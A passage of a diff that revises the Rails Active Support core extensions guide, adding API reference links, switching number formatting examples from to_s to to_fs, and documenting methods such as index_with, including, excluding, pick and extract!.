+[String#demodulize]: https://api.rubyonrails.org/classes/String.html#method-i-demodulize
+
 #### `deconstantize`
 
-Given a string with a qualified constant reference expression, `deconstantize` removes the rightmost segment, generally leaving the name of the constant's container:
+Given a string with a qualified constant reference expression, [`deconstantize`][String#deconstantize] removes the rightmost segment, generally leaving the name of the constant's container:
 
 ```ruby
 "Product".deconstantize                        # => ""
@@ -1573,9 +1653,11 @@ Given a string with a qualified constant reference expression, `deconstantize` r
 
 NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
 
+[String#deconstantize]: https://api.rubyonrails.org/classes/String.html#method-i-deconstantize
+
 #### `parameterize`
 
-The method `parameterize` normalizes its receiver in a way that can be used in pretty URLs.
+The method [`parameterize`][String#parameterize] normalizes its receiver in a way that can be used in pretty URLs.
 
 ```ruby
 "John Smith".parameterize # => "john-smith"
@@ -1592,17 +1674,17 @@ To preserve the case of the string, set the `preserve_case` argument to true. By
 To use a custom separator, override the `separator` argument.
 
 ```ruby
-"John Smith".parameterize(separator: "_") # => "john\_smith"
-"Kurt Gödel".parameterize(separator: "_") # => "kurt\_godel"
+"John Smith".parameterize(separator: "_") # => "john_smith"
+"Kurt Gödel".parameterize(separator: "_") # => "kurt_godel"
 ```
 
-In fact, the result string is wrapped in an instance of `ActiveSupport::Multibyte::Chars`.
-
 NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
 
+[String#parameterize]: https://api.rubyonrails.org/classes/String.html#method-i-parameterize
+
 #### `tableize`
 
-The method `tableize` is `underscore` followed by `pluralize`.
+The method [`tableize`][String#tableize] is `underscore` followed by `pluralize`.
 
 ```ruby
 "Person".tableize      # => "people"
@@ -1614,9 +1696,11 @@ As a rule of thumb, `tableize` returns the table name that corresponds to a give
 
 NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
 
+[String#tableize]: https://api.rubyonrails.org/classes/String.html#method-i-tableize
+
 #### `classify`
 
-The method `classify` is the inverse of `tableize`. It gives you the class name corresponding to a table name:
+The method [`classify`][String#classify] is the inverse of `tableize`. It gives you the class name corresponding to a table name:
 
 ```ruby
 "people".classify        # => "Person"
@@ -1630,13 +1714,15 @@ The method understands qualified table names:
 "highrise_production.companies".classify # => "Company"
 ```
 
-Note that `classify` returns a class name as a string. You can get the actual class object invoking `constantize` on it, explained next.
+Note that `classify` returns a class name as a string. You can get the actual class object by invoking `constantize` on it, explained next.
 
 NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
 
+[String#classify]: https://api.rubyonrails.org/classes/String.html#method-i-classify
+
 #### `constantize`
 
-The method `constantize` resolves the constant reference expression in its receiver:
+The method [`constantize`][String#constantize] resolves the constant reference expression in its receiver:
 
 ```ruby
 "Integer".constantize # => Integer
@@ -1669,7 +1755,7 @@ Mailer test cases obtain the mailer being tested from the name of the test class
 ```ruby
 # action_mailer/test_case.rb
 def determine_default_mailer(name)
-  name.sub(/Test$/, '').constantize
+  name.delete_suffix("Test").constantize
 rescue NameError => e
   raise NonInferrableMailerError.new(name)
 end
@@ -1677,11 +1763,13 @@ end
 
 NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
 
+[String#constantize]: https://api.rubyonrails.org/classes/String.html#method-i-constantize
+
 #### `humanize`
 
-The method `humanize` tweaks an attribute name for display to end users.
+The method [`humanize`][String#humanize] tweaks an attribute name for display to end users.
 
-Specifically performs these transformations:
+Specifically, it performs these transformations:
 
   * Applies human inflection rules to the argument.
   * Deletes leading underscores, if any.
@@ -1691,7 +1779,7 @@ Specifically performs these transformations:
   * Capitalizes the first word.
 
 The capitalization of the first word can be turned off by setting the
-+:capitalize+ option to false (default is true).
+`:capitalize` option to false (default is true).
 
 ```ruby
 "name".humanize                         # => "Name"
@@ -1704,7 +1792,7 @@ The capitalization of the first word can be turned off by setting the
 If "SSL" was defined to be an acronym:
 
 ```ruby
-'ssl_error'.humanize # => "SSL error"
+"ssl_error".humanize # => "SSL error"
 ```
 
 The helper method `full_messages` uses `humanize` as a fallback to include
@@ -1716,18 +1804,20 @@ def full_messages
 end
 
 def full_message
-  ...
-  attr_name = attribute.to_s.tr('.', '_').humanize
+  # ...
+  attr_name = attribute.to_s.tr(".", "_").humanize
   attr_name = @base.class.human_attribute_name(attribute, default: attr_name)
-  ...
+  # ...
 end
 ```
 
 NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
 
+[String#humanize]: https://api.rubyonrails.org/classes/String.html#method-i-humanize
+
 #### `foreign_key`
 
-The method `foreign_key` gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id":
+The method [`foreign_key`][String#foreign_key] gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id":
 
 ```ruby
 "User".foreign_key           # => "user_id"
@@ -1750,11 +1840,39 @@ foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key
 
 NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
 
+[String#foreign_key]: https://api.rubyonrails.org/classes/String.html#method-i-foreign_key
+
+#### `upcase_first`
+
+The method [`upcase_first`][String#upcase_first] capitalizes the first letter of the receiver:
+
+```ruby
+"employee salary".upcase_first # => "Employee salary"
+"".upcase_first                # => ""
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+[String#upcase_first]: https://api.rubyonrails.org/classes/String.html#method-i-upcase_first
+
+#### `downcase_first`
+
+The method [`downcase_first`][String#downcase_first] converts the first letter of the receiver to lowercase:
+
+```ruby
+"If I had read Alice in Wonderland".downcase_first # => "if I had read Alice in Wonderland"
+"".downcase_first                                  # => ""
+```
+
+NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
+
+[String#downcase_first]: https://api.rubyonrails.org/classes/String.html#method-i-downcase_first
+
 ### Conversions
 
 #### `to_date`, `to_time`, `to_datetime`
 
-The methods `to_date`, `to_time`, and `to_datetime` are basically convenience wrappers around `Date._parse`:
+The methods [`to_date`][String#to_date], [`to_time`][String#to_time], and [`to_datetime`][String#to_datetime] are basically convenience wrappers around `Date._parse`:
 
 ```ruby
 "2010-07-27".to_date              # => Tue, 27 Jul 2010
@@ -1769,7 +1887,7 @@ The methods `to_date`, `to_time`, and `to_datetime` are basically convenience wr
 "2010-07-27 23:42:00".to_time(:local) # => 2010-07-27 23:42:00 +0200
 ```
 
-Default is `:utc`.
+Default is `:local`.
 
 Please refer to the documentation of `Date._parse` for further details.
 
@@ -1777,6 +1895,24 @@ INFO: The three of them return `nil` for blank receivers.
 
 NOTE: Defined in `active_support/core_ext/string/conversions.rb`.
 
+[String#to_date]: https://api.rubyonrails.org/classes/String.html#method-i-to_date
+[String#to_datetime]: https://api.rubyonrails.org/classes/String.html#method-i-to_datetime
+[String#to_time]: https://api.rubyonrails.org/classes/String.html#method-i-to_time
+
+Extensions to `Symbol`
+----------------------
+
+### `starts_with?` and `ends_with?`
+
+Active Support defines 3rd person aliases of `Symbol#start_with?` and `Symbol#end_with?`:
+
+```ruby
+:foo.starts_with?("f") # => true
+:foo.ends_with?("o")   # => true
+```
+
+NOTE: Defined in `active_support/core_ext/symbol/starts_ends_with.rb`.
+
 Extensions to `Numeric`
 -----------------------
 
@@ -1784,22 +1920,21 @@ Extensions to `Numeric`
 
 All numbers respond to these methods:
 
-```ruby
-bytes
-kilobytes
-megabytes
-gigabytes
-terabytes
-petabytes
-exabytes
-```
+* [`bytes`][Numeric#bytes]
+* [`kilobytes`][Numeric#kilobytes]
+* [`megabytes`][Numeric#megabytes]
+* [`gigabytes`][Numeric#gigabytes]
+* [`terabytes`][Numeric#terabytes]
+* [`petabytes`][Numeric#petabytes]
+* [`exabytes`][Numeric#exabytes]
+* [`zettabytes`][Numeric#zettabytes]
 
 They return the corresponding amount of bytes, using a conversion factor of 1024:
 
 ```ruby
 2.kilobytes   # => 2048
 3.megabytes   # => 3145728
-3.5.gigabytes # => 3758096384
+3.5.gigabytes # => 3758096384.0
 -4.exabytes   # => -4611686018427387904
 ```
 
@@ -1811,25 +1946,53 @@ Singular forms are aliased so you are able to say:
 
 NOTE: Defined in `active_support/core_ext/numeric/bytes.rb`.
 
+[Numeric#bytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-bytes
+[Numeric#exabytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-exabytes
+[Numeric#gigabytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-gigabytes
+[Numeric#kilobytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-kilobytes
+[Numeric#megabytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-megabytes
+[Numeric#petabytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-petabytes
+[Numeric#terabytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-terabytes
+[Numeric#zettabytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-zettabytes
+
 ### Time
 
-Enables the use of time calculations and declarations, like `45.minutes + 2.hours + 4.years`.
+The following methods:
+
+* [`seconds`][Numeric#seconds]
+* [`minutes`][Numeric#minutes]
+* [`hours`][Numeric#hours]
+* [`days`][Numeric#days]
+* [`weeks`][Numeric#weeks]
+* [`fortnights`][Numeric#fortnights]
+
+enable time declarations and calculations, like `45.minutes + 2.hours + 4.weeks`. Their return values can also be added to or subtracted from Time objects.
 
-These methods use Time#advance for precise date calculations when using from_now, ago, etc.
-as well as adding or subtracting their results from a Time object. For example:
+These methods can be combined with [`from_now`][Duration#from_now], [`ago`][Duration#ago], etc, for precise date calculations. For example:
 
 ```ruby
-# equivalent to Time.current.advance(months: 1)
-1.month.from_now
+# equivalent to Time.current.advance(days: 1)
+1.day.from_now
 
-# equivalent to Time.current.advance(years: 2)
-2.years.from_now
+# equivalent to Time.current.advance(weeks: 2)
+2.weeks.from_now
 
-# equivalent to Time.current.advance(months: 4, years: 5)
-(4.months + 5.years).from_now
+# equivalent to Time.current.advance(days: 4, weeks: 5)
+(4.days + 5.weeks).from_now
 ```
 
-NOTE: Defined in `active_support/core_ext/numeric/time.rb`
+WARNING. For other durations please refer to the time extensions to `Integer`.
+
+NOTE: Defined in `active_support/core_ext/numeric/time.rb`.
+
+[Duration#ago]: https://api.rubyonrails.org/classes/ActiveSupport/Duration.html#method-i-ago
+[Duration#from_now]: https://api.rubyonrails.org/classes/ActiveSupport/Duration.html#method-i-from_now
+[Numeric#days]: https://api.rubyonrails.org/classes/Numeric.html#method-i-days
+[Numeric#fortnights]: https://api.rubyonrails.org/classes/Numeric.html#method-i-fortnights
+[Numeric#hours]: https://api.rubyonrails.org/classes/Numeric.html#method-i-hours
+[Numeric#minutes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-minutes
+[Numeric#seconds]: https://api.rubyonrails.org/classes/Numeric.html#method-i-seconds
+[Numeric#weeks]: https://api.rubyonrails.org/classes/Numeric.html#method-i-weeks
 
 ### Formatting
 
@@ -1838,84 +2001,84 @@ Enables the formatting of numbers in a variety of ways.
 Produce a string representation of a number as a telephone number:
 
 ```ruby
-5551234.to_s(:phone)
+5551234.to_fs(:phone)
 # => 555-1234
-1235551234.to_s(:phone)
+1235551234.to_fs(:phone)
 # => 123-555-1234
-1235551234.to_s(:phone, area_code: true)
+1235551234.to_fs(:phone, area_code: true)
 # => (123) 555-1234
-1235551234.to_s(:phone, delimiter: " ")
+1235551234.to_fs(:phone, delimiter: " ")
 # => 123 555 1234
-1235551234.to_s(:phone, area_code: true, extension: 555)
+1235551234.to_fs(:phone, area_code: true, extension: 555)
 # => (123) 555-1234 x 555
-1235551234.to_s(:phone, country_code: 1)
+1235551234.to_fs(:phone, country_code: 1)
 # => +1-123-555-1234
 ```
 
 Produce a string representation of a number as currency:
 
 ```ruby
-1234567890.50.to_s(:currency)                 # => $1,234,567,890.50
-1234567890.506.to_s(:currency)                # => $1,234,567,890.51
-1234567890.506.to_s(:currency, precision: 3)  # => $1,234,567,890.506
+1234567890.50.to_fs(:currency)                 # => $1,234,567,890.50
+1234567890.506.to_fs(:currency)                # => $1,234,567,890.51
+1234567890.506.to_fs(:currency, precision: 3)  # => $1,234,567,890.506
 ```
 
 Produce a string representation of a number as a percentage:
 
 ```ruby
-100.to_s(:percentage)
+100.to_fs(:percentage)
 # => 100.000%
-100.to_s(:percentage, precision: 0)
+100.to_fs(:percentage, precision: 0)
 # => 100%
-1000.to_s(:percentage, delimiter: '.', separator: ',')
+1000.to_fs(:percentage, delimiter: ".", separator: ",")
 # => 1.000,000%
-302.24398923423.to_s(:percentage, precision: 5)
+302.24398923423.to_fs(:percentage, precision: 5)
 # => 302.24399%
 ```
 
 Produce a string representation of a number in delimited form:
 
 ```ruby
-12345678.to_s(:delimited)                     # => 12,345,678
-12345678.05.to_s(:delimited)                  # => 12,345,678.05
-12345678.to_s(:delimited, delimiter: ".")     # => 12.345.678
-12345678.to_s(:delimited, delimiter: ",")     # => 12,345,678
-12345678.05.to_s(:delimited, separator: " ")  # => 12,345,678 05
+12345678.to_fs(:delimited)                     # => 12,345,678
+12345678.05.to_fs(:delimited)                  # => 12,345,678.05
+12345678.to_fs(:delimited, delimiter: ".")     # => 12.345.678
+12345678.to_fs(:delimited, delimiter: ",")     # => 12,345,678
+12345678.05.to_fs(:delimited, separator: " ")  # => 12,345,678 05
 ```
 
 Produce a string representation of a number rounded to a precision:
 
 ```ruby
-111.2345.to_s(:rounded)                     # => 111.235
-111.2345.to_s(:rounded, precision: 2)       # => 111.23
-13.to_s(:rounded, precision: 5)             # => 13.00000
-389.32314.to_s(:rounded, precision: 0)      # => 389
-111.2345.to_s(:rounded, significant: true)  # => 111
+111.2345.to_fs(:rounded)                     # => 111.235
+111.2345.to_fs(:rounded, precision: 2)       # => 111.23
+13.to_fs(:rounded, precision: 5)             # => 13.00000
+389.32314.to_fs(:rounded, precision: 0)      # => 389
+111.2345.to_fs(:rounded, significant: true)  # => 111
 ```
 
 Produce a string representation of a number as a human-readable number of bytes:
 
 ```ruby
-123.to_s(:human_size)                  # => 123 Bytes
-1234.to_s(:human_size)                 # => 1.21 KB
-12345.to_s(:human_size)                # => 12.1 KB
-1234567.to_s(:human_size)              # => 1.18 MB
-1234567890.to_s(:human_size)           # => 1.15 GB
-1234567890123.to_s(:human_size)        # => 1.12 TB
-1234567890123456.to_s(:human_size)     # => 1.1 PB
-1234567890123456789.to_s(:human_size)  # => 1.07 EB
+123.to_fs(:human_size)                  # => 123 Bytes
+1234.to_fs(:human_size)                 # => 1.21 KB
+12345.to_fs(:human_size)                # => 12.1 KB
+1234567.to_fs(:human_size)              # => 1.18 MB
+1234567890.to_fs(:human_size)           # => 1.15 GB
+1234567890123.to_fs(:human_size)        # => 1.12 TB
+1234567890123456.to_fs(:human_size)     # => 1.1 PB
+1234567890123456789.to_fs(:human_size)  # => 1.07 EB
 ```
 
 Produce a string representation of a number in human-readable words:
 
 ```ruby
-123.to_s(:human)               # => "123"
-1234.to_s(:human)              # => "1.23 Thousand"
-12345.to_s(:human)             # => "12.3 Thousand"
-1234567.to_s(:human)           # => "1.23 Million"
-1234567890.to_s(:human)        # => "1.23 Billion"
-1234567890123.to_s(:human)     # => "1.23 Trillion"
-1234567890123456.to_s(:human)  # => "1.23 Quadrillion"
+123.to_fs(:human)               # => "123"
+1234.to_fs(:human)              # => "1.23 Thousand"
+12345.to_fs(:human)             # => "12.3 Thousand"
+1234567.to_fs(:human)           # => "1.23 Million"
+1234567890.to_fs(:human)        # => "1.23 Billion"
+1234567890123.to_fs(:human)     # => "1.23 Trillion"
+1234567890123456.to_fs(:human)  # => "1.23 Quadrillion"
 ```
 
 NOTE: Defined in `active_support/core_ext/numeric/conversions.rb`.
@@ -1925,7 +2088,7 @@ Extensions to `Integer`
 
 ### `multiple_of?`
 
-The method `multiple_of?` tests whether an integer is multiple of the argument:
+The method [`multiple_of?`][Integer#multiple_of?] tests whether an integer is multiple of the argument:
 
 ```ruby
 2.multiple_of?(1) # => true
@@ -1934,9 +2097,11 @@ The method `multiple_of?` tests whether an integer is multiple of the argument:
 
 NOTE: Defined in `active_support/core_ext/integer/multiple.rb`.
 
+[Integer#multiple_of?]: https://api.rubyonrails.org/classes/Integer.html#method-i-multiple_of-3F
+
 ### `ordinal`
 
-The method `ordinal` returns the ordinal suffix string corresponding to the receiver integer:
+The method [`ordinal`][Integer#ordinal] returns the ordinal suffix string corresponding to the receiver integer:
 
 ```ruby
 1.ordinal    # => "st"
@@ -1949,9 +2114,11 @@ The method `ordinal` returns the ordinal suffix string corresponding to the rece
 
 NOTE: Defined in `active_support/core_ext/integer/inflections.rb`.
 
+[Integer#ordinal]: https://api.rubyonrails.org/classes/Integer.html#method-i-ordinal
+
 ### `ordinalize`
 
-The method `ordinalize` returns the ordinal string corresponding to the receiver integer. In comparison, note that the `ordinal` method returns **only** the suffix string.
+The method [`ordinalize`][Integer#ordinalize] returns the ordinal string corresponding to the receiver integer. In comparison, note that the `ordinal` method returns **only** the suffix string.
 
 ```ruby
 1.ordinalize    # => "1st"
@@ -1964,88 +2131,96 @@ The method `ordinalize` returns the ordinal string corresponding to the receiver
 
 NOTE: Defined in `active_support/core_ext/integer/inflections.rb`.
 
-Extensions to `BigDecimal`
---------------------------
-### `to_s`
+[Integer#ordinalize]: https://api.rubyonrails.org/classes/Integer.html#method-i-ordinalize
 
-The method `to_s` provides a default specifier of "F". This means that a simple call to `to_s` will result in floating point representation instead of engineering notation:
+### Time
 
-```ruby
-BigDecimal.new(5.00, 6).to_s  # => "5.0"
-```
+The following methods:
 
-and that symbol specifiers are also supported:
+* [`months`][Integer#months]
+* [`years`][Integer#years]
 
-```ruby
-BigDecimal.new(5.00, 6).to_s(:db)  # => "5.0"
-```
+enable time declarations and calculations, like `4.months + 5.years`. Their return values can also be added to or subtracted from Time objects.
 
-Engineering notation is still supported:
+These methods can be combined with [`from_now`][Duration#from_now], [`ago`][Duration#ago], etc, for precise date calculations. For example:
 
 ```ruby
-BigDecimal.new(5.00, 6).to_s("e")  # => "0.5E1"
-```
-
-Extensions to `Enumerable`
---------------------------
-
-### `sum`
+# equivalent to Time.current.advance(months: 1)
+1.month.from_now
 
-The method `sum` adds the elements of an enumerable:
+# equivalent to Time.current.advance(years: 2)
+2.years.from_now
 
-```ruby
-[1, 2, 3].sum # => 6
-(1..100).sum  # => 5050
+# equivalent to Time.current.advance(months: 4, years: 5)
+(4.months + 5.years).from_now
 ```
 
-Addition only assumes the elements respond to `+`:
+WARNING. For other durations please refer to the time extensions to `Numeric`.
 
-```ruby
-[[1, 2], [2, 3], [3, 4]].sum    # => [1, 2, 2, 3, 3, 4]
-%w(foo bar baz).sum             # => "foobarbaz"
-{a: 1, b: 2, c: 3}.sum          # => [:b, 2, :c, 3, :a, 1]
-```
+NOTE: Defined in `active_support/core_ext/integer/time.rb`.
 
-The sum of an empty collection is zero by default, but this is customizable:
+[Integer#months]: https://api.rubyonrails.org/classes/Integer.html#method-i-months
+[Integer#years]: https://api.rubyonrails.org/classes/Integer.html#method-i-years
 
-```ruby
-[].sum    # => 0
-[].sum(1) # => 1
-```
+Extensions to `BigDecimal`
+--------------------------
 
-If a block is given, `sum` becomes an iterator that yields the elements of the collection and sums the returned values:
+### `to_s`
+
+The method `to_s` provides a default specifier of "F". This means that a simple call to `to_s` will result in floating-point representation instead of scientific notation:
 
 ```ruby
-(1..5).sum {|n| n * 2 } # => 30
-[2, 4, 6, 8, 10].sum    # => 30
+BigDecimal(5.00, 6).to_s       # => "5.0"
 ```
 
-The sum of an empty receiver can be customized in this form as well:
+Scientific notation is still supported:
 
 ```ruby
-[].sum(1) {|n| n**3} # => 1
+BigDecimal(5.00, 6).to_s("e")  # => "0.5E1"
 ```
 
-NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+Extensions to `Enumerable`
+--------------------------
 
 ### `index_by`
 
-The method `index_by` generates a hash with the elements of an enumerable indexed by some key.
+The method [`index_by`][Enumerable#index_by] generates a hash with the elements of an enumerable indexed by some key.
 
 It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block:
 
 ```ruby
 invoices.index_by(&:number)
-# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...}
+# => {"2009-032" => <Invoice ...>, "2009-008" => <Invoice ...>, ...}
 ```
 
 WARNING. Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win.
 
 NOTE: Defined in `active_support/core_ext/enumerable.rb`.
 
+[Enumerable#index_by]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-index_by
+
+### `index_with`
+
+The method [`index_with`][Enumerable#index_with] generates a hash with the elements of an enumerable as keys. The value
+is either a passed default or returned in a block.
+
+```ruby
+post = Post.new(title: "hey there", body: "what's up?")
+
+%i( title body ).index_with { |attr_name| post.public_send(attr_name) }
+# => { title: "hey there", body: "what's up?" }
+
+WEEKDAYS.index_with(Interval.all_day)
+# => { monday: [ 0, 1440 ], … }
+```
+
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
+[Enumerable#index_with]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-index_with
+
 ### `many?`
 
-The method `many?` is shorthand for `collection.size > 1`:
+The method [`many?`][Enumerable#many?] is shorthand for `collection.size > 1`:
 
 ```erb
 <% if pages.many? %>
@@ -2056,14 +2231,16 @@ The method `many?` is shorthand for `collection.size > 1`:
 If an optional block is given, `many?` only takes into account those elements that return true:
 
 ```ruby
-@see_more = videos.many? {|video| video.category == params[:category]}
+@see_more = videos.many? { |video| video.category == params[:category] }
 ```
 
 NOTE: Defined in `active_support/core_ext/enumerable.rb`.
 
+[Enumerable#many?]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-many-3F
+
 ### `exclude?`
 
-The predicate `exclude?` tests whether a given object does **not** belong to the collection. It is the negation of the built-in `include?`:
+The predicate [`exclude?`][Enumerable#exclude?] tests whether a given object does **not** belong to the collection. It is the negation of the built-in `include?`:
 
 ```ruby
 to_visit << node if visited.exclude?(node)
@@ -2071,40 +2248,76 @@ to_visit << node if visited.exclude?(node)
 
 NOTE: Defined in `active_support/core_ext/enumerable.rb`.
 
-### `without`
+[Enumerable#exclude?]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-exclude-3F
 
-The method `without` returns a copy of an enumerable with the specified elements
-removed:
+### `including`
+
+The method [`including`][Enumerable#including] returns a new enumerable that includes the passed elements:
 
 ```ruby
-["David", "Rafael", "Aaron", "Todd"].without("Aaron", "Todd") # => ["David", "Rafael"]
+[ 1, 2, 3 ].including(4, 5)                    # => [ 1, 2, 3, 4, 5 ]
+["David", "Rafael"].including %w[ Aaron Todd ] # => ["David", "Rafael", "Aaron", "Todd"]
 ```
 
 NOTE: Defined in `active_support/core_ext/enumerable.rb`.
 
-### `pluck`
+[Enumerable#including]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-including
 
-The method `pluck` returns an array based on the given key:
+### `excluding`
+
+The method [`excluding`][Enumerable#excluding] returns a copy of an enumerable with the specified elements
+removed:
 
 ```ruby
-[{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pluck(:name) # => ["David", "Rafael", "Aaron"]
+["David", "Rafael", "Aaron", "Todd"].excluding("Aaron", "Todd") # => ["David", "Rafael"]
 ```
 
+`excluding` is aliased to [`without`][Enumerable#without].
+
 NOTE: Defined in `active_support/core_ext/enumerable.rb`.
 
-Extensions to `Array`
----------------------
+[Enumerable#excluding]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-excluding
+[Enumerable#without]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-without
 
-### Accessing
+### `pluck`
 
-Active Support augments the API of arrays to ease certain ways of accessing them. For example, `to` returns the subarray of elements up to the one at the passed index:
+The method [`pluck`][Enumerable#pluck] extracts the given key from each element:
 
 ```ruby
-%w(a b c d).to(2) # => ["a", "b", "c"]
-[].to(7)          # => []
+[{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pluck(:name) # => ["David", "Rafael", "Aaron"]
+[{ id: 1, name: "David" }, { id: 2, name: "Rafael" }].pluck(:id, :name) # => [[1, "David"], [2, "Rafael"]]
 ```
 
-Similarly, `from` returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array.
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
+[Enumerable#pluck]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-pluck
+
+### `pick`
+
+The method [`pick`][Enumerable#pick] extracts the given key from the first element:
+
+```ruby
+[{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pick(:name) # => "David"
+[{ id: 1, name: "David" }, { id: 2, name: "Rafael" }].pick(:id, :name) # => [1, "David"]
+```
+
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
+[Enumerable#pick]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-pick
+
+Extensions to `Array`
+---------------------
+
+### Accessing
+
+Active Support augments the API of arrays to ease certain ways of accessing them. For example, [`to`][Array#to] returns the subarray of elements up to the one at the passed index:
+
+```ruby
+%w(a b c d).to(2) # => ["a", "b", "c"]
+[].to(7)          # => []
+```
+
+Similarly, [`from`][Array#from] returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array.
 
 ```ruby
 %w(a b c d).from(2)  # => ["c", "d"]
@@ -2112,38 +2325,57 @@ Similarly, `from` returns the tail from the element at the passed index to the e
 [].from(0)           # => []
 ```
 
-The methods `second`, `third`, `fourth`, and `fifth` return the corresponding element, as do `second_to_last` and `third_to_last` (`first` and `last` are built-in). Thanks to social wisdom and positive constructiveness all around, `forty_two` is also available.
+The method [`including`][Array#including] returns a new array that includes the passed elements:
 
 ```ruby
-%w(a b c d).third # => "c"
-%w(a b c d).fifth # => nil
+[ 1, 2, 3 ].including(4, 5)          # => [ 1, 2, 3, 4, 5 ]
+[ [ 0, 1 ] ].including([ [ 1, 0 ] ]) # => [ [ 0, 1 ], [ 1, 0 ] ]
 ```
 
-NOTE: Defined in `active_support/core_ext/array/access.rb`.
-
-### Adding Elements
+The method [`excluding`][Array#excluding] returns a copy of the Array excluding the specified elements.
+This is an optimization of `Enumerable#excluding` that uses `Array#-`
+instead of `Array#reject` for performance reasons.
 
-#### `prepend`
+```ruby
+["David", "Rafael", "Aaron", "Todd"].excluding("Aaron", "Todd") # => ["David", "Rafael"]
+[ [ 0, 1 ], [ 1, 0 ] ].excluding([ [ 1, 0 ] ])                  # => [ [ 0, 1 ] ]
+```
 
-This method is an alias of `Array#unshift`.
+The methods [`second`][Array#second], [`third`][Array#third], [`fourth`][Array#fourth], and [`fifth`][Array#fifth] return the corresponding element, as do [`second_to_last`][Array#second_to_last] and [`third_to_last`][Array#third_to_last] (`first` and `last` are built-in). Thanks to social wisdom and positive constructiveness all around, [`forty_two`][Array#forty_two] is also available.
 
 ```ruby
-%w(a b c d).prepend('e')  # => ["e", "a", "b", "c", "d"]
-[].prepend(10)            # => [10]
+%w(a b c d).third # => "c"
+%w(a b c d).fifth # => nil
 ```
 
-NOTE: Defined in `active_support/core_ext/array/prepend_and_append.rb`.
+NOTE: Defined in `active_support/core_ext/array/access.rb`.
+
+[Array#excluding]: https://api.rubyonrails.org/classes/Array.html#method-i-excluding
+[Array#fifth]: https://api.rubyonrails.org/classes/Array.html#method-i-fifth
+[Array#forty_two]: https://api.rubyonrails.org/classes/Array.html#method-i-forty_two
+[Array#fourth]: https://api.rubyonrails.org/classes/Array.html#method-i-fourth
+[Array#from]: https://api.rubyonrails.org/classes/Array.html#method-i-from
+[Array#including]: https://api.rubyonrails.org/classes/Array.html#method-i-including
+[Array#second]: https://api.rubyonrails.org/classes/Array.html#method-i-second
+[Array#second_to_last]: https://api.rubyonrails.org/classes/Array.html#method-i-second_to_last
+[Array#third]: https://api.rubyonrails.org/classes/Array.html#method-i-third
+[Array#third_to_last]: https://api.rubyonrails.org/classes/Array.html#method-i-third_to_last
+[Array#to]: https://api.rubyonrails.org/classes/Array.html#method-i-to
 
-#### `append`
+### Extracting
 
-This method is an alias of `Array#<<`.
+The method [`extract!`][Array#extract!] removes and returns the elements for which the block returns a true value.
+If no block is given, an Enumerator is returned instead.
 
 ```ruby
-%w(a b c d).append('e')  # => ["a", "b", "c", "d", "e"]
-[].append([1,2])         # => [[1, 2]]
+numbers = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
+odd_numbers = numbers.extract! { |number| number.odd? } # => [1, 3, 5, 7, 9]
+numbers # => [0, 2, 4, 6, 8]
 ```
 
-NOTE: Defined in `active_support/core_ext/array/prepend_and_append.rb`.
+NOTE: Defined in `active_support/core_ext/array/extract.rb`.
+
+[Array#extract!]: https://api.rubyonrails.org/classes/Array.html#method-i-extract-21
 
 ### Options Extraction
 
@@ -2157,7 +2389,7 @@ That syntactic sugar is used a lot in Rails to avoid positional arguments where
 
 If a method expects a variable number of arguments and uses `*` in its declaration, however, such an options hash ends up being an item of the array of arguments, where it loses its role.
 
-In those cases, you may give an options hash a distinguished treatment with `extract_options!`. This method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise it returns an empty hash.
+In those cases, you may give an options hash a distinguished treatment with [`extract_options!`][Array#extract_options!]. This method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise it returns an empty hash.
 
 Let's see for example the definition of the `caches_action` controller macro:
 
@@ -2165,7 +2397,7 @@ Let's see for example the definition of the `caches_action` controller macro:
 def caches_action(*actions)
   return unless cache_configured?
   options = actions.extract_options!
-  ...
+  # ...
 end
 ```
 
@@ -2173,11 +2405,13 @@ This method receives an arbitrary number of action names, and an optional hash o
 
 NOTE: Defined in `active_support/core_ext/array/extract_options.rb`.
 
+[Array#extract_options!]: https://api.rubyonrails.org/classes/Array.html#method-i-extract_options-21
+
 ### Conversions
 
 #### `to_sentence`
 
-The method `to_sentence` turns an array into a string containing a sentence that enumerates its items:
+The method [`to_sentence`][Array#to_sentence] turns an array into a string containing a sentence that enumerates its items:
 
